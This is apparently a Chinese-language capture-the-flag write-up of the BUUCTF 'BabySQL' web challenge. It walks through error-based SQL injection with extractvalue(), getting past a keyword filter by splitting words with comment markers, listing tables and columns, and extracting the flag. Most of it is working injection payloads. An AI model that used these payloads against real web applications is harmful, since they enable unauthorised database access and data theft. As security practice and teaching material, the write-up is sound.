练习 12 Web [极客大挑战 2019]BabySQL

本题复习：1.常规的万能语句+SQL查询，union联合查询，Extractvalue()报错注入 extractvalue(1,concat(‘0x7e’,select(database())))%23

我一开始挨着试，感觉都无效
直到报错注入，查到了库名‘geek’

尝试查表名，才发现where被过滤掉了
select,or(所有出现o r挨着的单词),from,union都过滤了

关键字过滤，尝试用注释符 \**\分隔，有效
SQL注入针对关键字过滤的绕过技巧
一个一个试，把过滤的地方都分隔开

?username=111&password=1111'^extractvalue(1,concat('~',(sel\**\ect(group_concat(table_nam\**\e))fr\**\om(info\**\rmation_schema.tables)wh\**\ere(table_schema)like("geek"))))%23

成功拿到两个表名：
b4bsql,geekuser
（请注意图上的‘x7e’，是我输入的’0x7e’，也就是字符’~'）

继续尝试查列名：

?username=111&password=111'^extractvalue(1,concat('~',(se\**\lect(group_concat(column_name))fro\**\m(info\**\rmation_schema.columns)wh\**\ere(table_name)like('geekuser')))) %23

无论查哪张表都是一个结果
id,username,password

查字段内容：

select group_concat(password) from geekuser where id =1 #第一个
# 调整为
?username=111&password=111'^extractvalue(1,concat('~',(sel\**\ect(group_concat(passwo\**\rd))fr\**\om(geekuser)whe\**\re(id)like(1))))%23

一直找到id=6 还是一些无效的话，继续

id=8，拿到一部分 flag{696fff3b-bb99-4e47-aec3-36

id=9,报错，9以后都报错

重新令id=8，用练习6中的技巧
用right函数指定打印右到左的30个字符group_concat(right(password,30))

?username=111&password=111'^extractvalue(1,concat('~',(sel\**\ect(group_concat(right(passwo\**\rd,30)))fr\**\om(b4bsql)whe\**\re(id)like(8))))%23

拿到后30个字符 b-bb99-4e47-aec3-367f253ee8ad}

拼接 flag{696fff3b-bb99-4e47-aec3-367f253ee8ad}
结束

搜索解法，此题用union联合查询也可以实现，但是我先做了HardSQL，所以确实没察觉到
BUUCTF-[极客大挑战 2019]BabySQL 1 详解